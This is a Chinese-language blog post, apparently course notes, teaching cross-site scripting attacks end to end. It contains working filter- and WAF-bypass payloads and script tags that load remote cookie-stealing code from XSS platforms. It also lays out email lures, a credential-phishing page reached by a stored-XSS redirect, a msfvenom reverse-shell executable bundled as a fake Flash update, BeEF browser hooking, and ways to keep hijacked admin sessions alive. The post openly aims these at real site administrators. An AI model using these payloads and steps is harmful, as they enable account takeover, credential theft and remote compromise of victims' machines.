菜单 学习猿地 - LMONKEY

VIP

开通学习猿地VIP

尊享10项VIP特权 持续新增

知识通关挑战

打卡带练!告别无效练习

接私单赚外块

VIP优先接,累计金额超百万

学习猿地私房课免费学

大厂实战课仅对VIP开放

你的一对一导师

每月可免费咨询大牛30次

领取更多软件工程师实用特权

入驻
359
0

18.xss

原创
05/13 14:22
阅读数 43314

1.XSS 介绍及分类
2.XSS 漏洞挖掘及绕过
3.XSS cookie 盗取
4.CSRF 漏洞讲解


什么样的存在xss漏洞:
企业站 //企业站管理员半年的不上线一次,所有效率低
bc
qp
zjp

测xss最好是测管理员经常上线的地方.以及发邮件进行访问上线登录后台触发漏洞
打xss目的之一时获取管理员的cookie或者账号密码,

1.XSS 介绍及分类
也简称夸张 OWASP 评为第2漏洞
把xss代码打到后台进行cookie盗取,盗取后欺骗管理员身份登录后台


什么是跨站脚本
是一种经常出现在web应用程序中的计算机安全漏洞,是由于web应用程序对用户的输入过滤不严而产生的。攻击者利用网站漏洞把恶意的脚本代码注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采用cookie资料窃取,会话劫持,钓鱼欺骗等攻击手段
做渗透用的多的:cookie盗取 ,钓鱼
seo黑帽: js代码 快照劫持页面挑战,蜘蛛劫持,钓鱼.
黑帽一般使用方法://网站根目录,首页head头标签里的scriot代码
IIS的global.asa全站劫持

 

跨站脚本实例 //一般这个代码用来测试判断是否存在xss

<html>
<head>xss test</head>
<body>
<script>alert("xss")</script>
</body>
</html>
这段代码使用alert函数来执行打开一个消息框,消息框中显示xss信息
使用xss弹出恶意警告框,代码为:
<script>alert("xss")</script>
xss输入也可能是html代码段,如果使网页不停的刷新,代码为
<meta http-equiv="refresh" content="0;">
嵌入其他网站链接的代码为:
<iframe src=http://cracer.com width=0 height=0></iframe>

实例解析:
网页面插入一段script代码并通过alert消息框弹框的方式显示()里的内容
新建一个html 放入上面代码,点击打开,成功运行

 

XSS危害:

网络钓鱼,包括盗取各类的用户账号
窃取用户cookie
窃取用户浏览请回话
强制弹出广告页面、刷流量
网页挂马
提升用户权限,进一步渗透网站
传播跨站脚本蠕虫等

Xss分类
反射型XSS
DOM型xss
存储型XSS

反射型XSS

靶场环境 8056 反射型
在url当中构造的,没有写到数据库的都属于反射型

1.找到网站查找框里
2.<script>alert("xss")</script> //植入代码
3.出现弹框,审查元素判断


存储型XSS
存储型xss比反射型跨站脚本更具威胁性,并且可能影响到web服务器的自身安全。
此类XSS不需要用户点击特定的URL就能执行跨站脚本,攻击者事先讲恶意JavaScript代码上传或存储到漏洞服务器中,只要受害者浏览包含此恶意的代码的页面就会执行恶意代码。

存储型是攻击客户端,获得客户端的cookie信息
存到了服务器数据库中,例如留言,管理员看留言的时候就触发了

DOM型xss
攻击模型和反射型xss类型

挖掘:
通过审查元素追踪触发代码的节点,通过闭合构造攻击语句


PART 2: XSS 挖掘及绕过
挖掘方法:
手工挖掘
工具挖掘

挖掘注意事项:
1.闭合(闭合优先级)
2.位置问题
2.长度限制(前段限制,服务器代码限制) 用户名,ip,资料会限制
3.防护:代码防护/waf防护


1.闭合:
<td><script>alert("xss")</script></td> //正常被当成字符显示的xss
<td></td><script>alert("xss")</script> //把前边的td标签进行了闭合.让script代码正常执行.
优先级:
<tr><td><script>alert("xss")</script></td></tr> //从代码可以看出tr包裹着td
<tr></tr><script>alert("xss")</script> //tr优先级高过td所有我们只需要闭合td即可

存储型: 留言板
注意:
右键审查元素:选择闭合
也可能前后台标签不一致:可以通过前台标签推理后台标签,可能后台前台用的都是相同标签显示
不知道的情况下尝试盲闭合:</tr></td></div></li></textara><script>alert("xss")</script> //把可能存在的标签都加上

2.位置问题
在哪里挖,根据反射型储存型定义:
反射型:搜索框/url参数位置/挖掘提交内容在页面中有回显的地方例如注入时候报错的地方
存储型:可以写入到数据库中的并且会被调用
1./留言
2./注册/个人资料/昵称/支付宝账号/微信/备注/留言/银行卡/网页聊天
3./登录/(用户名),管理后台,登录账号 ,登录日志,lvyecms 3.0漏洞
用户名会被管理日志记录下来,client-ip如果这里有调用就插入打cookie代码就可以了
4./请求头:client-ip/x-forwarde-for
5.修改资料/提交工单/金额打款/发卡平台/ 订餐系统(备注位置存在)

3.长度问题:
长度限制分两种:前台限制,后台限制
前台限制:正常语句被缩短,解决方法:修改表单长度(maxlength),burp抓包进包修改插入代码
后台服务器代码限制:这种只能缩短代码长度
缩短方法:
<script sec=http://baidu.com></script> 原标签
<script/sec=//baidu.com> //缩短后的 还可以用url短网址


4.防护
看是waf还是代码,看防护情况,出来一种就得进行绕过
1.通用防护 代码防护
2.waf防护 360.d盾,安全狗 免费版本的只有d盾和360拦截xss. 云锁(好过)


解决方法:
1.通用型防护:注意防护的位置以及方法
<script src=http://baidu.com></script> 原xss
<sc<x>ript src=http://baidu.com></sc</x>ript> //中间被防护加了x或者替换为空
csp同源策略,不让加载本站以外的js.

<scrscriptipt>alert(/xss/)</scrscriptipt>替换为空就双写绕过
<script/**/src=http://baidu.com></script>
黑名单替换为字符就得猜除黑名单以外的标签进行测试
用fram 过掉同源策略
2.waf防护
拦截方式:可能拦截script /script
1.<script/sec=//t.cn> //可以过云锁

2.例如:通杀火狐谷歌360 留言可以使用
<img src=x onerror=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPSdodHRwczovL3hzcy5wdC9IYnRiPycrTWF0aC5yYW5kb20oKQ=='))>
分解: img图片 连接到x地址, 发生报错,加载报错事件(onerror),执行(eval),解bayss64码(atob),xss的bayss64编码

3.<img src=x onerror=s=createElement('scr'+'ipt');body.appendChild(s);s.src='https://xss.pt/Hbtb';>
分解:使用'+' 拼接函数就没有script代码 也没有 eval函数

闭合优先的标签
这些标签都是闭合优先级高于双引号完整性优先级的特殊标签。
<!--
<iframe>
<noframes>
<noscript>
<script>
<style>
<textarea>
<title>
<xmp>


Xss的编码
第一个,html实体编码,例如: 使用工具猫盒xss//能被html识别的编码 一共有10进制和16进制
&#26041;&#23506;&#22826;&#24378;&#20102;&#30495;&#30340;&#26159;&#21457;&#33539;&#24503;&#33832;&#21457;&#26031;&#33922;&#33452;
把她放进 网站title里就能在标题被转义过来 ,在打开页面

实战利用: //不论标题还是文本,不能把整个属性进行编码,可以把值编码
<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='https://xss.pt/Hbtb';> //使用代码
x onerror=s=createElement('script');body.appendChild(s);s.src='https://xss.pt/Hbtb' //放进 猫16进制编码 不能全部放
<img src=16进制编码后的放进这里;> //把这一段放到body里

第二个,进制类,例如:\x61\x6c\x65\x72\x74\x60\x78\x73\x73\x60,某些时候,也有不带x,例如:\5c\6a
第三个,Unicode,例如:\u0061\u006c\u0065\u0072\u0074\u0060\u4e2d\u6587\u4e5f\u53ef\u4ee5\u0060
第四个,纯转义,例如:\' \" \< \> ,这样的在特殊字符前加\进行转义。


javascript中:js可以识别的编码 在线工具猫盒--js转义
注意:编译函数可运行的编码
例如:<img src=x onerror=eval("dadadada")> //我eval函数里要运行dadadada.
adadadada // 拿去js转义 在放魔盒base 16转义
<img src=x onerror=eval("\x61\x64\x61\x64\x61\x64\x61\x64\x61")> //转义过后的完整版本
可以双重编码:js编一次,html编一次,运行是自动解了

unicode编码:首先需要在js里执行, unicode编码可以编译哪些过滤掉左右尖括号的防护

编码绕过实例 //反射型URL当做尝试unicode编码

JS代码中并没有出现尖括号,可是运行时却输出了尖括号!!!这意味着:可以通过\u003c和\u003e来代替<和>。可是该如何利用这个特性来构造XSS攻击呢?继续看一个例子:
<div id='s'>
test
</div>
<script>
var s = "\u003cimg src=1 onerror=alert(/xss/)\u003e";
document.getElementById('s').innerHTML = s;
</script>


工具自动挖掘
awvs
appscan
burp
xsser
xsscrapy
brutexssr
OWASP Xenotix


brutexssr工具使用:
工具--漏洞分析--brutexssr解压到python27目录下
打开brutexss.py
搜索框搜索123 没注入
找到URL搜索的注入点:http://10.0.0.6:9009/search.asp?keyword=123&Submit=%CB%D1%CB%F7
取注入点 http://10.0.0.6:9009/search.asp?keyword=123
GET型:
http://10.0.0.6:9009/search.asp?keyword=123
wordlist.txt //选择字典,默认就回车
</script>"><script>prompt(1)</script> //Payload
http://10.0.0.6:9009/search.asp?keyword=123</script>"><script>prompt(1)</script> //注入点和payload
可以自己往字典里加一些语句wordlist.txt



OWASP Xenotix工具使用:
工具--漏洞利用--OWASP_Xenotix_XSS_Exploit_Framework_V6.1.zip //在wIn7安装,可能需要dotnet461_withfix_chs组件

打开后进入设置配置服务器:
它会侦听127.0.0.1:5005端口--启动,允许
点击扫描
get方式
http://10.0.0.6:9009/search.asp?keyword=123 //把urlxss点粘贴过来
http://10.0.0.6:9009/search.asp?keyword=123[X] //在测试点的后端加入x,代表把语句加到这里
一共payload有4500多个
开始后就可看出哪些弹框哪些不弹框了

post方式:
添加地址
请求包加上参数

 

PART 3: XSS COOKIE 盗取

COOKIE盗取与利用
反射型XSS的cookie获取
存储型XSS的cookie获取
Xss其他模块使用
保持cookie长久性
建立sessin会话控制
beef-xss使用介绍
注意代码长度问题:
可以使用url短网址转换


存储型:

注意:先用完整的代码
<sCRiPt sRC=https://xss.pt/Hbtb></sCrIpT>
插入为网站留言:
</textarea><sCRiPt sRC=https://xss.pt/Hbtb></sCrIpT> //通过代码看见留言闭合在</textara>里的
http://10.0.0.6:9009/admin/ad_index.html //登录网站后台: 待审核留言去, 空白处右键检查是否以及插进xss
找到xss平台获取cookie数据.
打开工具--漏洞利用---cookie
1.http://10.0.0.6:9009/admin/ad_index.html //放进去
2.放入cookie
3.再次进行浏览

反射型:
直接发送url:
搜索框里写入xss复制URL链接,在发送给目标人物,打开后,发回xss
邮件发送:
制作一个html,正文去修改下,插入以下代码
<img src=http://10.0.0.6:9009/search.asp?keyword=123%3CsCRiPt%20sRC=https://xss.pt/Hbtb%3E%3C/sCrIpT%3E>
邮件正文就说这个网站有问题,发送给他.目标人物一看是html页面就没别的心思下载下来后就获得了cookie


实战打旅华cms:
后台登录框,用户名插入以下代码:
<sCRiPt/SrC=//xss.pt/Hbtb> //尽量短一点
<sCRiPt/SrC=//ct.cn> //把链接这一块给缩短


用户名:123</td><sCRiPt/SrC=//ct.cn> //写上闭合
密码:dsafasf
验证码:46546
登录失败

登录正常后台:

//根据链接会发现<sCrIpT>标签被自动闭合了,自动闭合后被其他标签包裹的可能

 

定位记录实战:
登录框插入以下代码:
用户名:dede<sCRiPt/SrC=//xs.sb/BFpB></sCRiPt>
密码:dsfas

8</tr><sCRiPt/SrC=//xs.sb/BFpB></sCRiPt>

 


链接到以后会返回一个seesion 链接这个seesion就不需要cookie了


问题:
1.cookie都是7天一个月,所有就绑定短信或者邮箱
2.进入后台管理员知道了有cookie改掉密码,cookie就失效了
解决:把cookie变成session会话,在保持session //如果有安全狗waf会强制设置session时间是半个小时

如果没有安全狗想保持session会话,必须要连续点击
工具:寒心鼠标点击器, 录制下来,放进虚拟机或者vps 只要不关机能一直保持session

也可以在拿到shell:admin/index.asp里留下打cookie的后门


http-only启用时的攻击
只读cookie
如果没启用http-only就是一个中危
如果启用了,插进去的xss只有地址没有cookie
打过来没有了cookie那怎么利用呢?
1.钓鱼
下载登录页面,在vps上搭建钓鱼后台
把页面变成代码,发送到登录点
目标登录点就会传送到我构造好的

第一种钓鱼:下载页面.需要用到kalilinux的工具httrack //编码好一点
1.apt-get install httrack //下载工具
2.httrack //启动
3.项目起名test 保存路径123 拷贝后台地址
4.1镜像web页面 ,默认即可
5.装到物理机 (真实环境vps)
6.后台登录页面,解压http-only里的index页面到根目录
7.现在到表单from,要和接收端的一致
8.数据库:create database dd; //创建dd数据库
9.数据库:创建admin表 .create table admin(username char(50),password char(50));
10.有admin表里有数据就删除数据 delete from admin where username='admin';
查看select * from admin;
11.钓鱼页面里找到action=''#'' 改成index.php //默认没提交,得改成接收端的页面
12.tz.php文件. //与接收的Indiex.php放在根目录里,目的是输入正确账号密码后再跳转到真正的页面
13:测试一下
14:给网站留钓鱼页面
插入工具http-only操作步骤里的代码
<script>window.location.href='vps钓鱼页面地址';</script> //原页面
</textarea><script>window.location.href='vps钓鱼页面地址';</script> 闭合一下
插入留言那里
15:管理员登录查看留言,立刻跳转钓鱼页面
http://10.0.09:9009/admin/ad_login.asp

注意:每次目标点击后台都会登录,所以我们把跳转岛屿页面的代码放到xss平台
创建模块
http-only-dy
创建项目:http-only
选中模块,留言也就留该模块里的留言

 

第二种钓鱼:合成flash-更新升级exe程序,来获取管理员的计算机pc权限
真实ngrok得做转发才行

1.msf生成一个马用到kalilinux,并且监听端口
生成:msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.9.58 lport=1122 -f exe > /root/f.exe
侦听:msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp //设置payload
set lhost 192.168.9.58
set lport 1122
options
run //侦听上 真实环境生成地址写ngronk 监听本地的
把马丢到桌面来
2.生成flash页面使用工具 KALI:httrack
把文件复制出来放到钓鱼的vps根目录上去
与真实页面保持一致:
<div id=''ic-download'' class=''disable''> 修改为<div id=''ic-download''> //因为下载被模块禁用了
修改大小和更新日期版本
<a href=''真实的flash文件名'' terget"_self">立即下载</a>
花几块钱注册一个flash的域名做的像一点就行

3.捆绑
新建个文件夹把f.exe和真实flash放进同目录并且修改flash为fl.exe
选择两个文件--添加到压缩文件 //一定要用win.rar
创建自动解压格式
压缩文件名为真实flash的文件名.exe
高级--自解压--选项--常规--d:\盘路径
设置--提取后运行--f.exe fl.exe
模式--全部隐藏
更新--解压并替换--覆盖所有文件
确定 生成好了
//网上有换图标教程
把生成好的放到vps根目录里

3.xss设置
创建钓鱼模块
放入代码 更换vps地址
创建项目:httponly-dy
选择钓鱼模块
代码留言留言板里//注意闭合

4.真实测试
管理员进入后台
查看待审核留言
出现弹框下载,
下载运行,成功弹框
注意事项:ngrok的监听,钓鱼模块代码用utf-8编码,免杀,伪造 ,想,免杀就找收费的

beef-xss
apt-get install beef-xss 2020里有
beef-xss 会生成两个,一个控制端,一个js代码,需要把该代码溜进去
控制端:
用户名beef
密码admin
访问:<script src=''http://vps的地址:3000/hook.js''></script>
</textare><script src=''http://vps的地址:3000/hook.js''></script> //将代码插入到浏览器

管理员登录查看留言被控制

beef-xss控制端里
coommadns 对浏览器操控,例如获取get cookie Execute执行
get form values 表单信息,有时候二次密码也会有
get page hrefs 获取超链接信息, 有便抓取后台登录页面
Redirect Browser 目标浏览器跳转
可以这样玩:在留言板留网址,在网址里插入beef代码,beef能控制目标浏览器,让浏览器跳转到构造好的反射型xss地址,或者msf构造好的攻击载荷浏览器地址,只要访问到就能拿权限
获取所有cookie,配合msf攻击


注意:可以beef的3000端口改成1003端口
beef端口在config.yaml文件里


搭建xss
新建网站,分配ip,端口
新建路径xss
读取运行执行
下载好文件xs.zip
拖进目录
需要配置的地方:
config.php 数据库链接密码
打开数据库创建:create database xss;
地址:192.168.8.200:8899 //地址为vps绑定地址和端口

导入表:
查看下phpmyadmin地址在浏览器访问
root root
xss库里导入xs.zip源码的里xssplqtform.sql
设置所有文件权限:文件和文件,文件夹和文件夹
改数据库:
UPDATE oc_module SET
code=REPLACE(code,'http://xsser.me','http://localhost/xsser') 替换为vps地址和端口


访问测试:
创建用户名什么的

url重写文件
文件名:ISAPI_Rewrite3_full.zip 解压拖到桌面,安装
完成后开始--所有程序---Helicon--点击打开
找到xss网站---edt编辑---ADD应用

测试:往留言板插代码 ,查看是否接受

如果找到黑客的传参代码链接可以给黑客插话

私有搭建就改配置文件即可,在把数据库oc_user 的adminlevel权限改成即可
index.php?do=user&act=invite //邀请码生成地址


发表评论

0/200
359 点赞
0 评论
收藏
为你推荐 换一批